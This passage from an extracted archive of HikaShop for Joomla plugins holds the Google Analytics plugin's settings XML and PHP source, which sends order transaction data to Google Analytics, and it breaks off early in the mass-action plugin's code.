			<option value="0">HIKASHOP_NO</option>
			<option value="1">HIKASHOP_YES</option>
		</param>

		<param name="account_1" type="text" size="20" default="" label="GOOGLE_ANALYTICS_ACCOUNT_1" description="GOOGLE_ANALYTICS_ACCOUNT" />
		<param name="currency_1" type="text" size="3" default="EUR" label="GOOGLE_ANALYTICS_ACCOUNT_1_CURRENCY" description="GOOGLE_ANALYTICS_ACCOUNT_CURRENCY" />

		<param name="account_2" type="text" size="20" default="" label="GOOGLE_ANALYTICS_ACCOUNT_2" description="GOOGLE_ANALYTICS_ACCOUNT" />
		<param name="currency_2" type="text" size="3" default="USD" label="GOOGLE_ANALYTICS_ACCOUNT_2_CURRENCY" description="GOOGLE_ANALYTICS_ACCOUNT_CURRENCY" />

		<param name="account_3" type="text" size="20" default="" label="GOOGLE_ANALYTICS_ACCOUNT_3" description="GOOGLE_ANALYTICS_ACCOUNT" />
		<param name="currency_3" type="text" size="3" default="JPY" label="GOOGLE_ANALYTICS_ACCOUNT_3_CURRENCY" description="GOOGLE_ANALYTICS_ACCOUNT_CURRENCY" />

		<param name="account_4" type="text" size="20" default="" label="GOOGLE_ANALYTICS_ACCOUNT_4" description="GOOGLE_ANALYTICS_ACCOUNT" />
		<param name="currency_4" type="text" size="3" default="GBP" label="GOOGLE_ANALYTICS_ACCOUNT_4_CURRENCY" description="GOOGLE_ANALYTICS_ACCOUNT_CURRENCY" />

		<param name="account_5" type="text" size="20" default="" label="GOOGLE_ANALYTICS_ACCOUNT_5" description="GOOGLE_ANALYTICS_ACCOUNT" />
		<param name="currency_5" type="text" size="3" default="CAD" label="GOOGLE_ANALYTICS_ACCOUNT_5_CURRENCY" description="GOOGLE_ANALYTICS_ACCOUNT_CURRENCY" />

		<param name="single_submission" type="radio" default="0" label="HIKA_SINGLE_SUBMISSION" description="SINGLE_SUBMISSION">
			<option value="0">HIKASHOP_NO</option>
			<option value="1">HIKASHOP_YES</option>
		</param>

		<param name="debug_mode" type="radio" default="0" label="ANALYTICS_DEBUG_MODE" description="DEBUG_MODE">
			<option value="0">HIKASHOP_NO</option>
			<option value="1">HIKASHOP_YES</option>
		</param>

		<param type="spacer" label="EXTRA_MODULES" />
		<param name="module_linkid" type="radio" default="0" label="ENHANCED_LINK_ATTRIBUTION" description="">
			<option value="0">HIKASHOP_NO</option>
			<option value="1">HIKASHOP_YES</option>
		</param>
		<param name="module_displayfeatures" type="radio" default="0" label="HIKA_ENABLING_DISPLAY_FEATURES" description="ENABLING_DISPLAY_FEATURES">
			<option value="0">HIKASHOP_NO</option>
			<option value="1">HIKASHOP_YES</option>
		</param>
		<param name="universal_always_directcall" type="radio" default="0" label="ALWAYS_USE_DIRECT_CALL" description="ANALYTICS_DIRECT_CALL">
			<option value="0">HIKASHOP_NO</option>
			<option value="1">HIKASHOP_YES</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_hikashop/fields">
			<fieldset name="basic">
				<field name="use_universal" type="radio" default="0" label="HIKA_USE_UNIVERSAL_ANALYTICS" description="USE_UNIVERSAL_ANALYTICS" class="btn-group btn-group-yesno">
					<option value="0">HIKASHOP_NO</option>
					<option value="1">HIKASHOP_YES</option>
				</field>

				<field name="account_1" type="text" size="20" default="" label="GOOGLE_ANALYTICS_ACCOUNT_1" description="GOOGLE_ANALYTICS_ACCOUNT" />
				<field name="currency_1" type="text" size="3" default="EUR" label="GOOGLE_ANALYTICS_ACCOUNT_1_CURRENCY" description="GOOGLE_ANALYTICS_ACCOUNT_CURRENCY" />

				<field name="account_2" type="text" size="20" default="" label="GOOGLE_ANALYTICS_ACCOUNT_2" description="GOOGLE_ANALYTICS_ACCOUNT" />
				<field name="currency_2" type="text" size="3" default="USD" label="GOOGLE_ANALYTICS_ACCOUNT_2_CURRENCY" description="GOOGLE_ANALYTICS_ACCOUNT_CURRENCY" />

				<field name="account_3" type="text" size="20" default="" label="GOOGLE_ANALYTICS_ACCOUNT_3" description="GOOGLE_ANALYTICS_ACCOUNT" />
				<field name="currency_3" type="text" size="3" default="JPY" label="GOOGLE_ANALYTICS_ACCOUNT_3_CURRENCY" description="GOOGLE_ANALYTICS_ACCOUNT_CURRENCY" />

				<field name="account_4" type="text" size="20" default="" label="GOOGLE_ANALYTICS_ACCOUNT_4" description="GOOGLE_ANALYTICS_ACCOUNT" />
				<field name="currency_4" type="text" size="3" default="GBP" label="GOOGLE_ANALYTICS_ACCOUNT_4_CURRENCY" description="GOOGLE_ANALYTICS_ACCOUNT_CURRENCY" />

				<field name="account_5" type="text" size="20" default="" label="GOOGLE_ANALYTICS_ACCOUNT_5" description="GOOGLE_ANALYTICS_ACCOUNT" />
				<field name="currency_5" type="text" size="3" default="CAD" label="GOOGLE_ANALYTICS_ACCOUNT_5_CURRENCY" description="GOOGLE_ANALYTICS_ACCOUNT_CURRENCY" />

				<field name="single_submission" type="radio" default="0" label="HIKA_SINGLE_SUBMISSION" description="SINGLE_SUBMISSION" class="btn-group btn-group-yesno">
					<option value="0">HIKASHOP_NO</option>
					<option value="1">HIKASHOP_YES</option>
				</field>

				<field name="debug_mode" type="radio" default="0" label="ANALYTICS_DEBUG_MODE" description="DEBUG_MODE" class="btn-group btn-group-yesno">
					<option value="0">HIKASHOP_NO</option>
					<option value="1">HIKASHOP_YES</option>
				</field>

				<field type="spacer" label="EXTRA_MODULES" />
				<field name="module_linkid" type="radio" default="0" label="ENHANCED_LINK_ATTRIBUTION" description="" class="btn-group btn-group-yesno">
					<option value="0">HIKASHOP_NO</option>
					<option value="1">HIKASHOP_YES</option>
				</field>
				<field name="module_displayfeatures" type="radio" default="0" label="HIKA_ENABLING_DISPLAY_FEATURES" description="ENABLING_DISPLAY_FEATURES" class="btn-group btn-group-yesno">
					<option value="0">HIKASHOP_NO</option>
					<option value="1">HIKASHOP_YES</option>
				</field>
				<field name="universal_always_directcall" type="radio" default="0" label="ALWAYS_USE_DIRECT_CALL" description="ANALYTICS_DIRECT_CALL" class="btn-group btn-group-yesno">
					<option value="0">HIKASHOP_NO</option>
					<option value="1">HIKASHOP_YES</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!���Q�]�]'hikashopanalytics/hikashopanalytics.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class plgSystemHikashopanalytics extends JPlugin
{
	public function __construct(&$subject, $config) {
		parent::__construct($subject, $config);

		if(isset($this->params))
			return;
		$plugin = JPluginHelper::getPlugin('system', 'hikashopanalytics');
		$this->params = new JRegistry($plugin->params);
	}

	public function onBeforeOrderCreate(&$order) {
		if(isset($order->order_type) && $order->order_type != 'sale')
			return;
		$app = JFactory::getApplication();
		if(hikashop_isClient('administrator'))
			return;

		$ga = @$_SESSION['hikashop_analytics_ga'];
		if(!empty($_POST['checkout']['analytics']['ga'])) {
			$formData = hikaInput::get()->get('checkout', array(), 'array');
			$ga = $formData['analytics']['ga'];
		}


		if(empty($ga))
			return;

		if(!empty($order->order_payment_params) && is_string($order->order_payment_params))
			$order->order_payment_params = hikashop_unserialize($order->order_payment_params);
		if(empty($order->order_payment_params))
			$order->order_payment_params = new stdClass();
		$order->order_payment_params->analytics_ga = trim($ga);
	}

	public function onAfterOrderCreate(&$order) {
		if(isset($order->order_type) && $order->order_type != 'sale')
			return;

		return $this->checkOrder($order, true);
	}

	public function onAfterOrderUpdate(&$order) {
		if(isset($order->order_type) && $order->order_type != 'sale')
			return;

		return $this->checkOrder($order, false);
	}


	public function afterInitialise() {
		return $this->onAfterInitialise();
	}

	public function onAfterInitialise() {
		if(empty($_POST['checkout']['analytics']['ga']))
			return;

		$app = JFactory::getApplication();
		$checkout = $app->input->get('checkout', '', 'array');
		$_SESSION['hikashop_analytics_ga'] = $checkout['analytics']['ga'];
	}

	protected function checkOrder(&$order, $creation = false) {
		if(!hikashop_level(2))
			return true;

		if(isset($order->order_type) && $order->order_type != 'sale')
			return true;
		if(isset($order->old->order_type) && $order->old->order_type != 'sale')
			return true;

		if(!isset($order->order_status))
			return true;

		$config = hikashop_config();
		$confirmed_status = $config->get('order_confirmed_status', 'confirmed');

		if( !$this->params->get('use_universal', 0) && $creation ) {
			$app = JFactory::getApplication();
			$app->setUserState(HIKASHOP_COMPONENT.'.ga_check_order', $order->order_id);
			$app->setUserState(HIKASHOP_COMPONENT.'.ga_check_counter', 10);
		}

		if(!$this->params->get('single_submission', 0) && $order->order_status != $confirmed_status)
			return true;

		$invoice_statuses = explode(',', $config->get('invoice_order_statuses','confirmed,shipped'));
		if(empty($invoice_statuses))
			$invoice_statuses = array('confirmed','shipped');
		if($this->params->get('single_submission', 0) && in_array($confirmed_status, $invoice_statuses) && !empty($order->old) && !empty($order->old->order_invoice_id))
			return true;

		$app = JFactory::getApplication();
		$app->setUserState(HIKASHOP_COMPONENT.'.display_ga', 1);
		$app->setUserState(HIKASHOP_COMPONENT.'.order_id', $order->order_id);
		$app->setUserState(HIKASHOP_COMPONENT.'.error_display_ga', 0);

		$app->setUserState(HIKASHOP_COMPONENT.'.ga_check_order', null);
		$app->setUserState(HIKASHOP_COMPONENT.'.ga_check_counter', null);

		if($this->params->get('use_universal', 0)) {
			$call = false;
			if($this->params->get('universal_always_directcall', 0))
				$call = true;
			if(!$call && !hikashop_isClient('administrator')) {
				$ctrl = hikaInput::get()->getCmd('ctrl', '');
				$task = hikaInput::get()->getCmd('task', '');
				if($ctrl == 'checkout' && $task == 'notify')
					$call = true;
			}

			if($call) {
				$ret = $this->googleProcess($order->order_id);
				if($ret === true) {
					$app->setUserState(HIKASHOP_COMPONENT.'.display_ga', 0);
				} else if($this->params->get('debug_mode')) {
					$ip = hikashop_getIP();
					$data = 'Transaction validated, postpone the javascript'."\r\n".
						'IP: ' . $ip . "\r\n".
						'URL: ' . hikashop_currentURL();
					$this->writeToLog($data);
				}
			}
		}

		return true;
	}

	public function onAfterRender() {
		$app = JFactory::getApplication();

		$this->getUTM();

		$display_ga = (int)$app->getUserState('com_hikashop.display_ga', 0);
		$check_counter = (int)$app->getUserState('com_hikashop.ga_check_counter', 0);
		$check_order = (int)$app->getUserState('com_hikashop.ga_check_order', 0);

		if(empty($display_ga) && (empty($check_counter) || empty($check_order)))
			return true;

		if(!defined('DS'))
			define('DS', DIRECTORY_SEPARATOR);
		if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php'))
			return true;
		if(!hikashop_level(2))
			return true;

		if(!empty($display_ga)) {
			$order_id = (int)$app->getUserState(HIKASHOP_COMPONENT.'.order_id', 0);
		} else {
			$order_id = $check_order;
			$app->setUserState(HIKASHOP_COMPONENT.'.ga_check_counter', $check_counter - 1);
		}

		$content = $this->googleProcess($order_id, true);
		if(!empty($content) && is_string($content)) {
			if(class_exists('JResponse'))
				$body = JResponse::getBody();
			$alternate_body = false;
			if(empty($body)) {
				$body = $app->getBody();
				$alternate_body = true;
			}

			ini_set('pcre.jit', false);
			$body = preg_replace("#<script type=\"text/javascript\">(?:(?!<script).)*('https://ssl' : 'http://www'\) \+ '\.|window,document,'script','//www\.)google-analytics\.com.*</script>#siU", '', $body);

			$body = str_replace('</head>', $content . '</head>', $body);
			if($alternate_body) {
				$app->setBody($body);
			} else {
				JResponse::setBody($body);
			}

			$app->setUserState(HIKASHOP_COMPONENT.'.display_ga', 0);
			$app->setUserState(HIKASHOP_COMPONENT.'.ga_check_order', null);
			$app->setUserState(HIKASHOP_COMPONENT.'.ga_check_counter', null);
		}
		return true;
	}
	private function getUTM() {
		if(!empty($_REQUEST['utm_source']) || !empty($_REQUEST['utm_campaign']) || !empty($_REQUEST['utm_medium']) || !empty($_REQUEST['utm_term']) || !empty($_REQUEST['utm_content'])) {
			$this->storeUTMFromParameters();
		} elseif(!empty($_COOKIE['__utmz'])) {
			$this->storeUTMFromCookie();
		}
	}
	private function storeUTMFromParameters() {
		$vars = array('cn' => 'utm_campaign','cs' => 'utm_source','cm' => 'utm_medium','ck' => 'utm_term','cc' => 'utm_content');
		foreach($vars as $key => $value) {
			if(!empty($_REQUEST[$value])) {
				$_SESSION['hikashop_analytics_ga_'.$key] = hikaInput::get()->getString($value);
			}
		}
	}
	private function storeUTMFromCookie() {
		$vars = array('cn' => 'utmccn','cs' => 'utmcsr','cm' => 'utmcmd','ck' => 'utmctr');
		$parts = explode('.', $_COOKIE['__utmz']);
		$params = explode('|', end($parts));
		$data = array();
		foreach($params as $param) {
			if(!strpos($param, '='))
				continue;
			list($key, $value) = explode('=', $param, 2);
			$data[$key] = $value;
		}
		jimport('joomla.filter.filterinput');
		$filter = JFilterInput::getInstance(array(), array(), 1, 1);
		foreach($vars as $key => $value) {
			if(!empty($data[$value]) && !is_null($filter)) {
				$_SESSION['hikashop_analytics_ga_'.$key] = $filter->clean($data[$value], 'string');
			}
		}
	}

	public function onHikashopBeforeDisplayView(&$viewObj) {
		$app = JFactory::getApplication();
		if(hikashop_isClient('administrator'))
			return;

		$viewName = $viewObj->getName();
		if($viewName != 'checkout')
			return;
		$layout = $viewObj->getLayout();
		if(!in_array($layout, array('show', 'step')))
			return;

		$account_configured = false;
		for($i = 1; $i < 6; $i++) {
			$a = $this->params->get('account_' . $i, '');
			if(!empty($a)) {
				$account_configured = true;
				break;
			}
		}
		if(!$account_configured)
			return;

		if(empty($viewObj->extra_data))
			$viewObj->extra_data = array();
		$params = array();
		$vars = array('cn', 'cs', 'cm', 'ck', 'cc');
		foreach($vars as $key) {
			if(!empty($_SESSION['hikashop_analytics_ga_'.$key]))
			$params[] = $key.': \''.$viewObj->escape($_SESSION['hikashop_analytics_ga_'.$key]).'\',';
		}
		$viewObj->extra_data['analytics_ga'] = '
<input type="hidden" id="hikashop_checkout_analytics_field_ga" name="checkout[analytics][ga]" value="'.$viewObj->escape(@$_SESSION['hikashop_analytics_ga']).'"/>
<script type="text/javascript">
window.hikashop.ready(function(){
	if(!ga || typeof(ga) != "function")
		return;
	ga(function(tracker){
		var clientId = tracker.get("clientId"),
			elem = document.getElementById("hikashop_checkout_analytics_field_ga");
		if(elem) elem.value = JSON.stringify({
			uuid: tracker.get("clientId"),
			ua: tracker.get("navigator.userAgent"),
			'.
			implode("\r\n", $params)
			.'
			ul: tracker.get("language"),
		});
	});
});
</script>';
	}

	protected function googleProcess($order_id = 0, $render = false) {
		$accounts = array();
		$account_configured = false;
		for($i = 1; $i < 6; $i++) {
			$accounts[$i] = new stdClass();
			$accounts[$i]->account_id = $this->params->get('account_' . $i, '');
			$accounts[$i]->currency = $this->params->get('currency_' . $i, 0);

			if(!empty($accounts[$i]->account_id))
				$account_configured = true;
		}

		if(empty($accounts) || !$account_configured)
			return false;

		$app = JFactory::getApplication();
		if(empty($order_id))
			$order_id = hikaInput::get()->getInt('order_id');
		if(empty($order_id))
			$order_id = $app->getUserState(HIKASHOP_COMPONENT.'.order_id');

		if(empty($order_id))
			return false;

		$config = hikashop_config();
		$confirmed_status = $config->get('order_confirmed_status', 'confirmed');

		$orderClass = hikashop_get('class.order');
		$order = $orderClass->loadFullOrder($order_id, false, false);

		if(empty($order) || $order->order_status != $confirmed_status)
			return false;

		if($order->order_type != 'sale')
			return false;

		$currencyClass = hikashop_get('class.currency');
		$null = array();
		$currencies = array(
			$order->order_currency_id => $order->order_currency_id
		);
		$currencyInfo = $currencyClass->getCurrencies($currencies, $null);
		$currencyInfo = reset($currencyInfo);

		if($this->params->get('use_universal', 0)) {
			$call = (int)$this->params->get('universal_always_directcall', 0);
			if($call && $render)
				return true;

			if(!$call && !hikashop_isClient('administrator')) {
				$ctrl = hikaInput::get()->getCmd('ctrl', '');
				$task = hikaInput::get()->getCmd('task', '');
				if($ctrl == 'checkout' && $task == 'notify')
					$call = true;
			}

			if($call)
				return $this->googleDirectCall($accounts, $order, $currencyInfo);
		}
		return $this->googleGetJS($accounts, $order, $currencyInfo);
	}

	protected function googleGetJS($accounts, &$order, $currencyInfo) {
		$found = false;

		$app = JFactory::getApplication();

		$to_currency = '';
		$main_currency = '';
		foreach($accounts as $acc) {
			$currencies = explode(':', $acc->currency, 2);
			$main_currency = reset($currencies);

			if($main_currency != $currencyInfo->currency_code) {
				if( count($currencies) > 1 ) {
					$from_currencies = explode(',', $currencies[1]);
					if(!in_array($currencyInfo->currency_code, $from_currencies))
						continue;
					$to_currency = $main_currency;
				} else {
					continue;
				}
			}

			if(!empty($acc->account_id)) {
				$account = $acc->account_id;
				$found = true;
				if(!preg_match('/UA-[0-9]{2,12}-[0-9]{1,3}/',$account)) {
					if(!$app->getUserState(HIKASHOP_COMPONENT.'.error_display_ga')) {
						$app->setUserState(HIKASHOP_COMPONENT.'.error_display_ga', 1);
						$app->enqueueMessage(JText::_('GOOGLE_ACCOUNT_ID_INVALID'));
						$app->redirect(hikashop_currentUrl('', false));
					}
					return '';
				}
				break;
			}
		}

		if(empty($to_currency))
			$to_currency = $main_currency;

		if(!$found) {
			if(!$app->getUserState(HIKASHOP_COMPONENT.'.error_display_ga')) {
				$app->setUserState(HIKASHOP_COMPONENT.'.error_display_ga', 1);
				$app->enqueueMessage(JText::_('NO_CURRENCY_FOUND_GOOGLE_ANALYTICS'));
				$app->redirect(hikashop_currentUrl('', false));
			}
			return '';
		}

		$jconf = JFactory::getConfig();
		if(HIKASHOP_J30)
			$siteName = $jconf->get('sitename');
		else
			$siteName = $jconf->getValue('config.sitename');

		$tax = ($order->order_subtotal - $order->order_subtotal_no_vat) + $order->order_shipping_tax + $order->order_discount_tax + $order->order_payment_tax;
		if(!empty($order->order_tax_info)) {
			$tax = 0;
			foreach($order->order_tax_info as $tax_info) {
				$tax += $tax_info->tax_amount;
			}
		}

		if($this->params->get('use_universal', 0)) {

			$extra_required = '';
			if($this->params->get('module_displayfeatures', 0))
				$extra_required .= "\r\n" . 'ga("require", "displayfeatures");';
			if($this->params->get('module_linkid', 0))
				$extra_required .= "\r\n" . 'ga("require", "linkid", "linkid.js");';

			$js = '
<!-- Google Analytics -->
<script>
(function(i,s,o,g,r,a,m){i["GoogleAnalyticsObject"]=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,"script","//www.google-analytics.com/analytics.js","ga");

ga("create", "' . $account . '", "auto");'.$extra_required.'
ga("send", "pageview");
ga("require", "ecommerce", "ecommerce.js");

ga("ecommerce:addTransaction", {
	"id": "' . $order->order_id.'",
	"affiliation": "' . str_replace(array('\\','"'), array('\\\\', '\\\"'), $siteName) . '",
	"revenue": "' . round($this->convertPrices($order->order_full_price, $currencyInfo->currency_code, $to_currency), 2) . '",
	"shipping": "' . round($this->convertPrices($order->order_shipping_price, $currencyInfo->currency_code, $to_currency), 2) . '",
	"tax": "' . round($this->convertPrices($tax, $currencyInfo->currency_code, $to_currency), 2) . '",
	"currency": "'.$to_currency.'"
});
';

			foreach($order->products as $product) {
				$js .= '
ga("ecommerce:addItem", {
	"id": "' . $order->order_id . '",
	"name": "' . str_replace(array('\\','"'), array('\\\\', '\\\"'), strip_tags($product->order_product_name)) . '",
	"sku": "' . str_replace(array('\\','"'), array('\\\\', '\\\"'), $product->order_product_code) . '",
	"category": "",
	"price": "' . round($this->convertPrices($product->order_product_price + $product->order_product_tax, $currencyInfo->currency_code, $to_currency), 2). '",
	"quantity": "' . (int)$product->order_product_quantity . '"
});
';
			}

			$js .= '
ga("ecommerce:send");
</script>
<!-- End Google Analytics -->
';

			if($this->params->get('debug_mode')) {
				$ip = hikashop_getIP();
				$data = 'Adding google UA javascript'."\r\n".
					'IP: ' . $ip . "\r\n".
					'URL: ' . hikashop_currentURL() ."\r\n\r\n".
					'<pre>' . htmlentities($js) . '</pre>';
				$this->writeToLog($data);
			}
		} else {

			$extra_required = '';
			if($this->params->get('module_linkid', 0))
				$extra_required .= "\r\n" .
'var pluginUrl = "//www.google-analytics.com/plugins/ga/inpage_linkid.js";
_gaq.push(["_require", "inpage_linkid", pluginUrl]);';

			$js = '
<script type="text/javascript">
var _gaq = _gaq || [];'.$extra_required.'
_gaq.push(["_setAccount", "' . $account . '"]);
_gaq.push(["_trackPageview"]);
_gaq.push(["_addTrans",
	"' . $order->order_id . '",
	"' . str_replace(array('\\','"'), array('\\\\', '\\\"'), $siteName) . '",
	"' . round($this->convertPrices($order->order_full_price, $currencyInfo->currency_code, $to_currency), 2) . '",
	"' . round($this->convertPrices($tax, $currencyInfo->currency_code, $to_currency), 2) . '",
	"' . round($this->convertPrices($order->order_shipping_price, $currencyInfo->currency_code, $to_currency), 2) . '",
	"' . str_replace(array('\\','"'), array('\\\\', '\\\"'), @$order->billing_address->address_city) . '",
	"' . str_replace(array('\\','"'), array('\\\\', '\\\"'), @$order->billing_address->address_state) . '",
	"' . str_replace(array('\\','"'), array('\\\\', '\\\"'), @$order->billing_address->address_country) . '",
]);
';
			foreach($order->products as $product) {
				$js .= '
_gaq.push(["_addItem",
	"' . $order->order_id . '",
	"' . str_replace(array('\\','"'), array('\\\\', '\\\"'), $product->order_product_code) . '",
	"' . str_replace(array('\\','"'), array('\\\\', '\\\"'), strip_tags($product->order_product_name)) . '",
	"",
	"' . round($this->convertPrices($product->order_product_price + $product->order_product_tax, $currencyInfo->currency_code, $to_currency), 2) . '",
	"' . $product->order_product_quantity . '"
]);
';
			}

			$file = 'ga.js';
			if($this->params->get('debug_mode'))
				$file='u/ga_debug.js';

			$js .= '
_gaq.push(["_trackTrans"]);
(function() {
	var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;
	ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/' . $file . '";
	var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);
})();
</script>
';
		}

		return $js;
	}

	protected function convertPrices($price, $src, $dst) {
		$class = hikashop_get('class.currency');
		static $currencies = array();
		if(!isset($currencies[$src]))
			$currencies[$src] = $class->get($src);
		if(!isset($currencies[$dst]))
			$currencies[$dst] = $class->get($dst);
		return $class->convertUniquePrice($price, $currencies[$src]->currency_id, $currencies[$dst]->currency_id);
	}

	protected function googleDirectCall($accounts, &$order, $currencyInfo) {
		$found = false;
		$to_currency = '';
		$main_currency = '';
		foreach($accounts as $acc) {
			$currencies = explode(':', $acc->currency, 2);
			$main_currency = reset($currencies);

			if($main_currency != $currencyInfo->currency_code) {
				if( count($currencies) > 1 ) {
					$from_currencies = explode(',', $currencies[1]);
					if(!in_array($currencyInfo->currency_code, $from_currencies))
						continue;
					$to_currency = $main_currency;
				} else {
					continue;
				}
			}
			if(!empty($acc->account_id)) {
				$account = $acc->account_id;
				if(!preg_match('/UA-[0-9]{2,12}-[0-9]{1}/', $account))
					continue;
				$found = true;
				break;
			}
		}
		if(!$found)
			return false;


		if(empty($to_currency))
			$to_currency = $main_currency;

		$params = array( 'uuid' => round((rand() / getrandmax()) * 0x7fffffff));


		$order_params = (!empty($order->order_payment_params) && is_string($order->order_payment_params)) ? hikashop_unserialize($order->order_payment_params) : $order->order_payment_params;
		if(!empty($order_params->analytics_ga)){
			if(substr($order_params->analytics_ga, 0, 1) == '{')
				$params = json_decode($order_params->analytics_ga, true);
			else
				$params['uuid'] = $order_params->analytics_ga;
		}

		$jconf = JFactory::getConfig();
		if(HIKASHOP_J30)
			$siteName = $jconf->get('sitename');
		else
			$siteName = $jconf->getValue('config.sitename');


		$data = array(
			'v' => 1,
			'tid' => $account,
			'uip' => $order->order_ip,
			'cid' => @$params['uuid'], // clientId

			't' => 'transaction',
			'ti' => $order->order_id, // order_id
			'ta' => $siteName,
			'tr' => round($this->convertPrices($order->order_full_price, $currencyInfo->currency_code, $to_currency), 2),
			'tt' => round($this->convertPrices(($order->order_subtotal - $order->order_subtotal_no_vat) + $order->order_shipping_tax + $order->order_discount_tax, $currencyInfo->currency_code, $to_currency), 2),
			'ts' => round($this->convertPrices($order->order_shipping_price, $currencyInfo->currency_code, $to_currency), 2),
			'cu' => $to_currency
		);

		$variables = array(
			'ua', // user-agent from browser : navigator.userAgent
			'cn', // campaignName
			'cs', // campaignSource
			'cm', // campaignMedium
			'ck', // campaignKeyword
			'cc', // campaignContent
			'ci', // campaignId
			'ul', // language
		);
		foreach($variables as $variable) {
			if(!empty($params[$variable])) {
				$data[$variable] = $params[$variable];
			}
		}

		$this->googleDirectCallHit($data);

		foreach($order->products as $product) {
			$data = array(
				'v' => 1,
				'tid' => $account,
				'cid' =>  @$params['uuid'],

				't' => 'item',
				'ti' => $order->order_id, // order_id
				'in' => strip_tags($product->order_product_name), // name
				'ip' => round($this->convertPrices($product->order_product_price + $product->order_product_tax, $currencyInfo->currency_code, $to_currency), 2), // price
				'iq' => $product->order_product_quantity, // qty
				'ic' => $product->order_product_code, // code
				'iv' => '',
				'cu' => $to_currency
			);
			$this->googleDirectCallHit($data);
		}

		if($this->params->get('debug_mode')) {
			$data = 'Send transaction by direct call
IP: ' . $ip . '
URL: ' . hikashop_currentURL();
			$this->writeToLog($data);
		}

		return true;
	}

	protected function googleDirectCallHit($data) {
		$url = 'http://www.google-analytics.com/collect';
		$headers = array('Content-type: application/x-www-form-urlencoded');
		$user_agent = 'HikaShopAnalyticsTracking/1.0 (http://www.hikashop.com/)';

		$serialized_data = array();
		foreach($data as $k => $v) {
			$serialized_data[] = $k . '=' . urlencode($v);
		}
		$serialized_data = implode('&', $serialized_data);

		$session = curl_init();
		curl_setopt($session, CURLOPT_HEADER,         false);
		curl_setopt($session, CURLOPT_POST,           true);
		curl_setopt($session, CURLOPT_FOLLOWLOCATION, false);
		curl_setopt($session, CURLOPT_USERAGENT,      $user_agent);
		curl_setopt($session, CURLOPT_HTTP_VERSION,   CURL_HTTP_VERSION_1_1);
		curl_setopt($session, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($session, CURLOPT_SSL_VERIFYPEER, false);
		curl_setopt($session, CURLOPT_SSL_VERIFYHOST, false);
		curl_setopt($session, CURLOPT_ENCODING,       'UTF-8');
		curl_setopt($session, CURLOPT_HTTPHEADER,     $headers);
		curl_setopt($session, CURLOPT_URL,            $url);
		curl_setopt($session, CURLOPT_POSTFIELDS,     $serialized_data);

		$result = curl_exec($session);
		$error = curl_error($session);
		curl_close($session);

		if($this->params->get('debug_mode')) {
			$data = 'Google Analytics Direct call'."\r\n". print_r($data, true) ."\r\n".
				'result: ' .print_r(array($result, $error), true);
			$this->writeToLog($data);
		}
	}


	protected function writeToLog($data = null) {
		$dbg = ($data === null) ? ob_get_clean() : $data;
		if(empty($dbg)) {
			if($data === null)
				ob_start();
			return;
		}

		$dbg = '-- ' . date('m.d.y H:i:s') . ' -- [Google Analytics]' . "\r\n" . $dbg;

		jimport('joomla.filesystem.file');
		$config = hikashop_config();
		$file = $config->get('payment_log_file', '');
		$file = rtrim(JPath::clean(html_entity_decode($file)), DS . ' ');
		if(!preg_match('#^([A-Z]:)?/.*#', $file) && (!$file[0] == '/' || !file_exists($file))) {
			$file = JPath::clean(HIKASHOP_ROOT . DS . trim($file, DS . ' '));
		}
		if(!empty($file) && defined('FILE_APPEND')) {
			if(!file_exists(dirname($file))) {
				jimport('joomla.filesystem.folder');
				JFolder::create(dirname($file));
			}
			file_put_contents($file, $dbg, FILE_APPEND);
		}
		if($data === null)
			ob_start();
	}
}
PK!�#o,,hikashopmassaction/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK!����)o)o)hikashopmassaction/hikashopmassaction.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
if(!defined('DS'))
	define('DS',DIRECTORY_SEPARATOR);
jimport('joomla.plugin.plugin');

class plgSystemHikashopmassaction extends JPlugin {

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('system', 'hikashopmassaction');
			$this->params = new JRegistry(@$plugin->params);
		}
	}

	function onMassactionTableTriggersLoad(&$table, &$triggers, &$triggers_html, &$loadedData) {
		$triggers['onHikashopCronTriggerMinutes']=JText::_('EVERY_MINUTES');
		$triggers['onHikashopCronTriggerHours']=JText::_('EVERY_HOURS');
		$triggers['onHikashopCronTriggerDays']=JText::_('EVERY_DAYS');
		$triggers['onHikashopCronTriggerWeeks']=JText::_('EVERY_WEEKS');
		$triggers['onHikashopCronTriggerMonths']=JText::_('EVERY_MONTHS');
		$triggers['onHikashopCronTriggerYears']=JText::_('EVERY_YEARS');
	}

	function onMassactionTableFiltersLoad(&$table,&$filters,&$filters_html,&$loadedData){
		$db = JFactory::getDBO();
		$operators = hikashop_get('type.operators');
		$cid = hikashop_getCID();
		$tables = array();
		$custom = '';
		$type = 'filter';
		$massactionClass = hikashop_get('class.massaction');
		if(empty($loadedData->massaction_filters)){
			$loadedData->massaction_filters = array();
		}

		if(!HIKASHOP_J30){
			$fieldsTable = $db->getTableFields('#__hikashop_user');
			$hkUsers = reset($fieldsTable);
			$fieldsTable = $db->getTableFields('#__users');
			$jUsers = reset($fieldsTable);
		} else {
			$hkUsers = $db->getTableColumns('#__hikashop_user');
			$jUsers = $db->getTableColumns('#__users');
		}
		ksort($hkUsers);
		ksort($jUsers);

		if($table->table == 'address')
			$tables = array('address','user');
		if($table->table == 'category')
